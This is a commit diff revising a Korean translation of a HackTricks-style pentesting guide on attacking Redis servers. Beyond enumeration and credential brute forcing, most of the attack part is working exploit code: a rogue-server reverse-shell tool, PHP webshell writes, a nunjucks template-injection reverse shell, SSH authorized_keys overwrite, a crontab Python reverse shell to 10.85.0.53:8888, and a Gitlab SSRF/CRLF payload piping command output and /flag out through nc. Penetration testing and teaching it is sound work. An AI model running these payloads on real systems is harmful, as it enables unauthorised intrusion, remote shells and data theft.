Translated ['src/network-services-pentesting/6379-pentesting-redis.md']

This commit is contained in:
Translator 2025-01-03 23:35:43 +00:00
parent 5099878306
commit 056f01da68

View File

@ -4,9 +4,9 @@
## 기본 정보
[문서에서](https://redis.io/topics/introduction): Redis는 오픈 소스(BSD 라이센스) 메모리 내 **데이터 구조 저장소**로, **데이터베이스**, 캐시 및 메시지 브로커로 사용됩니다.
From [the docs](https://redis.io/topics/introduction): Redis는 오픈 소스(BSD 라이센스)이며, 메모리 내 **데이터 구조 저장소**로 사용되며, **데이터베이스**, 캐시 및 메시지 브로커로 사용됩니다.
기본적으로 Redis는 일반 텍스트 기반 프로토콜을 사용하지만, **ssl/tls**를 구현할 수도 있다는 점을 염두에 두어야 합니다. [여기에서 ssl/tls로 Redis 실행하는 방법을 배우세요](https://fossies.org/linux/redis/TLS.md).
기본적으로 Redis는 평문 기반 프로토콜을 사용하지만, **ssl/tls**를 구현할 수도 있다는 점을 염두에 두어야 합니다. [여기에서 ssl/tls로 Redis 실행하는 방법을 배우세요](https://fossies.org/linux/redis/TLS.md).
**기본 포트:** 6379
```
@ -15,7 +15,7 @@ PORT STATE SERVICE VERSION
```
## 자동 열거
redis 인스턴스에서 정보를 얻는 데 도움이 되는 몇 가지 자동화 도구:
Redis 인스턴스에서 정보를 얻는 데 도움이 될 수 있는 몇 가지 자동화 도구:
```bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server
@ -31,24 +31,24 @@ Redis는 **텍스트 기반 프로토콜**입니다. 소켓에 **명령을 전
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
```
당신이 시도할 수 있는 **첫 번째 명령**은 **`info`**입니다. 이 명령은 Redis 인스턴스에 대한 **정보가 포함된 출력**을 **반환할 수 있습니다** 또는 다음과 같은 것이 반환됩니다:
첫 번째 명령어로 시도할 수 있는 것은 **`info`**입니다. 이 명령어는 Redis 인스턴스에 대한 정보가 포함된 출력을 반환할 수 있습니다 **또는 다음과 같은 내용이 반환될 수 있습니다:**
```
-NOAUTH Authentication required.
```
이 마지막 경우는 **유효한 자격 증명**이 필요하다는 것을 의미합니다 Redis 인스턴스에 접근하기 위해.
이 마지막 경우는 **유효한 자격 증명**이 필요하다는 것을 의미합니다.
### Redis 인증
**기본적으로** Redis는 **자격 증명 없이** 접근할 수 있습니다. 그러나 **비밀번호만 또는 사용자 이름 + 비밀번호**를 지원하도록 **구성**할 수 있습니다.\
_**redis.conf**_ 파일의 `requirepass` 매개변수를 사용하여 **비밀번호를 설정**할 수 있으며, 서비스가 재시작될 때까지 **임시**로 설정할 수 있습니다. 연결한 후 다음을 실행합니다: `config set requirepass p@ss$12E45`.\
또한, _**redis.conf**_ 파일의 `masteruser` 매개변수에서 **사용자 이름**을 구성할 수 있습니다.
`requirepass` 매개변수를 사용하여 _**redis.conf**_ 파일에 **비밀번호를 설정**할 수 있으며, 서비스가 재시작될 때까지 **임시**로 설정할 수 있습니다: `config set requirepass p@ss$12E45`.\
또한, _**redis.conf**_ 파일`masteruser` 매개변수에서 **사용자 이름**을 구성할 수 있습니다.
> [!NOTE]
> 비밀번호만 구성된 경우 사용되는 사용자 이름은 "**default**"입니다.\
> 또한, Redis가 비밀번호만 또는 사용자 이름+비밀번호로 구성되었는지 **외부에서 확인할 방법이 없습니다**.
이와 같은 경우에는 Redis와 상호작용하기 위해 **유효한 자격 증명을 찾아야** 하므로 [**브루트 포스**](../generic-hacking/brute-force.md#redis)를 시도해 볼 수 있습니다.\
**유효한 자격 증명을 찾은 경우 연결을 설정한 후 세션을 인증해야** 합니다 다음 명령어로:
이와 같은 경우에는 Redis와 상호작용하기 위해 **유효한 자격 증명을 찾아야** 하므로 [**브루트 포스**](../generic-hacking/brute-force.md#redis)를 시도 수 있습니다.\
**유효한 자격 증명을 찾은 경우 연결을 설정한 후 세션을 인증해야** 합니다:
```bash
AUTH <username> <password>
```
@ -56,7 +56,7 @@ AUTH <username> <password>
### **인증된 열거**
Redis 서버가 **익명 연결**을 허용하거나 유효한 자격 증명을 얻은 경우, 다음 **명령**을 사용하여 서비스의 열거 프로세스를 시작할 수 있습니다:
Redis 서버가 **익명 연결**을 허용하거나 유효한 자격 증명을 얻은 경우, 다음 **명령어**를 사용하여 서비스의 열거 프로세스를 시작할 수 있습니다:
```bash
INFO
[ ... Redis response with info ... ]
@ -65,7 +65,7 @@ client list
CONFIG GET *
[ ... Get config ... ]
```
**기타 Redis 명령어** [**여기에서 찾을 수 있습니다**](https://redis.io/topics/data-types-intro) **및** [**여기에서**](https://lzone.de/cheat-sheet/Redis)**.**
**기타 Redis 명령어** [**여기에서 확인할 수 있습니다**](https://redis.io/topics/data-types-intro) **및** [**여기에서 확인할 수 있습니다**](https://lzone.de/cheat-sheet/Redis)**.**
인스턴스의 **Redis 명령어는** _redis.conf_ 파일에서 이름을 변경하거나 제거할 수 있습니다. 예를 들어 이 줄은 FLUSHDB 명령어를 제거합니다:
```
@ -79,7 +79,7 @@ Redis 서비스를 안전하게 구성하는 방법에 대한 자세한 내용
### **데이터베이스 덤프**
Redis 내에서 **데이터베이스는 0부터 시작하는 숫자**입니다. `info` 명령어의 출력에서 "Keyspace" 청크 안에 사용 중인 데이터베이스가 있는지 확인할 수 있습니다:
Redis 내에서 **데이터베이스는 0부터 시작하는 숫자**입니다. `info` 명령어의 출력에서 "Keyspace" 청크 안에 사용 중인 데이터베이스가 있는지 확인할 수 있습니다:
![](<../images/image (766).png>)
@ -96,7 +96,7 @@ KEYS *
GET <KEY>
[ ... Get Key ... ]
```
`GET <KEY>`를 실행하는 동안 `-WRONGTYPE Operation against a key holding the wrong kind of value`라는 오류가 발생하면, 이는 키가 문자열이나 정수가 아닌 다른 유형일 수 있으며, 이를 표시하기 위해 특별한 연산자가 필요함을 의미합니다.
`GET <KEY>`를 실행하는 동안 `-WRONGTYPE Operation against a key holding the wrong kind of value`라는 오류가 발생하는 경우, 해당 키가 문자열이나 정수가 아닌 다른 유형일 수 있으며, 이를 표시하기 위해 특별한 연산자가 필요합니다.
키의 유형을 확인하려면 `TYPE` 명령을 사용하십시오. 아래는 리스트 및 해시 키에 대한 예입니다.
```bash
@ -114,15 +114,15 @@ DUMP <key>
## Redis RCE
### 대화형
### 인터랙티브
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server)는 Redis(<=5.0.5)에서 자동으로 대화형 셸 또는 리버스 셸을 얻을 수 있습니다.
[**redis-rogue-server**](https://github.com/n0b0dyCN/redis-rogue-server)는 Redis(<=5.0.5)에서 자동으로 인터랙티브 셸 또는 리버스 셸을 얻을 수 있습니다.
```
./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>
```
### PHP Webshell
정보는 [**여기**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html)에서 확인할 수 있습니다. **웹 사이트 폴더**의 **경로**를 알아야 합니다:
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). 당신은 **웹 사이트 폴더**의 **경로**를 알아야 합니다:
```
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
@ -140,7 +140,7 @@ OK
이전 섹션과 마찬가지로 템플릿 엔진에 의해 해석될 HTML 템플릿 파일을 덮어쓰고 셸을 얻을 수 있습니다.
예를 들어, [**이 글**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)을 따르면, 공격자가 **nunjucks 템플릿 엔진**에 의해 해석된 **HTML에 rev shell을 주입한** 것을 볼 수 있습니다.
예를 들어, [**이 글**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/)을 따르면, 공격자가 **nunjucks 템플릿 엔진**에 의해 해석된 **HTML에 rev 을 주입한** 것을 볼 수 있습니다.
```javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
@ -155,18 +155,18 @@ sh.stderr.pipe(client);
)()}}
```
> [!WARNING]
> **여러 템플릿 엔진이** 템플릿을 **메모리**에 캐시하므로, 이를 덮어쓰더라도 새로운 템플릿이 **실행되지 않을 수 있습니다**. 이 경우, 개발자가 자동 재로드를 활성화한 상태로 두었거나 서비스에 대해 DoS를 수행해야 합니다(그리고 자동으로 다시 시작될 것이라고 기대해야 합니다).
> **여러 템플릿 엔진이** 템플릿을 **메모리**에 캐시하므로, 이를 덮어쓰더라도 새로운 템플릿이 **실행되지 않을 수 있습니다**. 이 경우, 개발자가 자동 재로드를 활성화한 상태이거나 서비스에 대해 DoS를 수행해야 하며 (자동으로 다시 시작될 것으로 예상해야 함).
### SSH
Example [from here](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
**`config get dir`** 결과는 다른 수동 익스플로잇 명령어 실행 후 변경될 수 있습니다. Redis에 로그인한 직후에 이를 먼저 실행하는 것이 좋습니다. **`config get dir`**의 출력에서 **redis 사용자**의 **home**을 찾을 수 있습니다(보통 _/var/lib/redis_ 또는 _/home/redis/.ssh_). 이를 알면 `authenticated_users` 파일을 작성하여 **redis 사용자**로 ssh 접근할 수 있는 위치를 알 수 있습니다. 쓰기 권한이 있는 다른 유효한 사용자의 home을 알고 있다면 이를 악용할 수도 있습니다:
**`config get dir`** 결과는 다른 수동 익스플로잇 명령 후 변경될 수 있습니다. Redis에 로그인한 직후에 이를 먼저 실행하는 것이 좋습니다. **`config get dir`**의 출력에서 **redis 사용자**의 **home**을 찾을 수 있습니다 (보통 _/var/lib/redis_ 또는 _/home/redis/.ssh_). 이를 알면 `authenticated_users` 파일을 작성하여 **redis 사용자**로 ssh를 통해 접근할 수 있는 위치를 알 수 있습니다. 쓰기 권한이 있는 다른 유효한 사용자의 을 알고 있다면 이를 악용할 수도 있습니다:
1. PC에서 ssh 공개-개인 키 쌍을 생성합니다: **`ssh-keygen -t rsa`**
2. 공개 키를 파일에 씁니다: **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
3. 파일을 Redis에 가져옵니다: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. Redis 서버의 **authorized_keys** 파일에 공개 키를 저장합니다:
3. 파일을 redis에 가져옵니다: **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`**
4. redis 서버의 **authorized_keys** 파일에 공개 키를 저장합니다:
```
root@Urahara:~# redis-cli -h 10.85.0.52
@ -182,6 +182,8 @@ OK
**이 기술은 여기에서 자동화되어 있습니다:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
추가로, 시스템 사용자는 `config set dir /home/USER`로 확인하여 발견할 수 있으며, 확인 후 새로운 `authorized_keys``/home/USER/.ssh/authorized_keys`에 작성할 수 있습니다. [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh)를 사용하여 사용자 이름 단어 목록으로 이를 브루트포스하고 `authorized_keys`를 덮어쓸 수 있습니다.
### Crontab
```
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
@ -195,7 +197,7 @@ OK
```
마지막 예시는 Ubuntu에 대한 것이며, **Centos**의 경우 위 명령은 다음과 같아야 합니다: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/`
이 방법은 비트코인을 얻는 데에도 사용 수 있습니다: [yam](https://www.v2ex.com/t/286981#reply14)
이 방법은 비트코인을 얻는 데에도 사용 수 있습니다: [yam](https://www.v2ex.com/t/286981#reply14)
### Redis 모듈 로드
@ -239,7 +241,7 @@ set mykey2 helloworld
```
## SSRF가 Redis와 통신하기
**Redis**에 **일반 텍스트** 요청을 보낼 수 있다면, **Redis와 통신할 수** 있습니다. Redis는 요청을 한 줄씩 읽고 이해하지 못하는 줄에 대해서는 오류로 응답할 것입니다.
만약 **명확한 텍스트** 요청을 **Redis**에 보낼 수 있다면, Redis는 요청을 한 줄씩 읽고 이해하지 못하는 줄에 대해서는 오류로 응답할 것이므로 **그와 통신할 수 있습니다**:
```
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
@ -253,19 +255,19 @@ set mykey2 helloworld
### 예시: Gitlab SSRF + CRLF to Shell
**Gitlab11.4.7**에서 **SSRF** 취약점과 **CRLF**가 발견되었습니다. **SSRF** 취약점은 새 프로젝트를 생성할 때 **URL에서 프로젝트 가져오기 기능**에 있었으며, \[0:0:0:0:0:ffff:127.0.0.1] 형식의 임의 IP에 접근할 수 있게 해주었습니다(이는 127.0.0.1에 접근합니다). 그리고 **CRLF** vuln은 **URL**에 %0D%0A 문자를 추가하여 악용되었습니다.
**Gitlab11.4.7**에서 **SSRF** 취약점과 **CRLF**가 발견되었습니다. **SSRF** 취약점은 새 프로젝트를 생성할 때 **URL에서 프로젝트 가져오기 기능**에 있었으며, \[0:0:0:0:0:ffff:127.0.0.1] 형식의 임의 IP에 접근할 수 있게 해주었습니다(이는 127.0.0.1에 접근합니다). 그리고 **CRLF** vuln은 **URL**에 **%0D%0A** 문자를 추가하여 악용되었습니다.
따라서, **이 취약점을 악용하여 Redis 인스턴스와 통신할 수 있었습니다**, 이 인스턴스는 **gitlab**의 **큐를 관리**하며, 이 큐를 악용하여 **코드 실행을 얻을 수 있었습니다**. Redis 큐 악용 페이로드는:
따라서, **이 취약점을 악용하여 Redis 인스턴스와 통신할 수 있었습니다**, 이 인스턴스는 **gitlab**의 **큐를 관리**하며, 이러한 큐를 악용하여 **코드 실행을 얻을 수 있었습니다**. Redis 큐 악용 페이로드는:
```
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
```
그리고 **URL 인코딩** 요청 **SSRF 악용** 및 **CRLF**를 사용하여 `whoami`를 실행하고 출력을 `nc`를 통해 전송하는 방법은:
그리고 **URL 인코딩** 요청 **SSRF 악용** 및 **CRLF**를 사용하여 `whoami`를 실행하고 출력을 `nc`를 통해 반환하는 방법은:
```
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
_어떤 이유로 (이 정보가 가져온_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _의 저자에 따르면) `git` 스킴으로는 익스플로잇이 작동했지만 `http` 스킴으로는 작동하지 않았습니다._
_어떤 이유로 (이 정보가 가져온_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _의 저자에 따르면) `git` 스킴으로는 익스플로잇이 작동했지만 `http` 스킴으로는 작동하지 않았습니다._
{{#include ../banners/hacktricks-training.md}}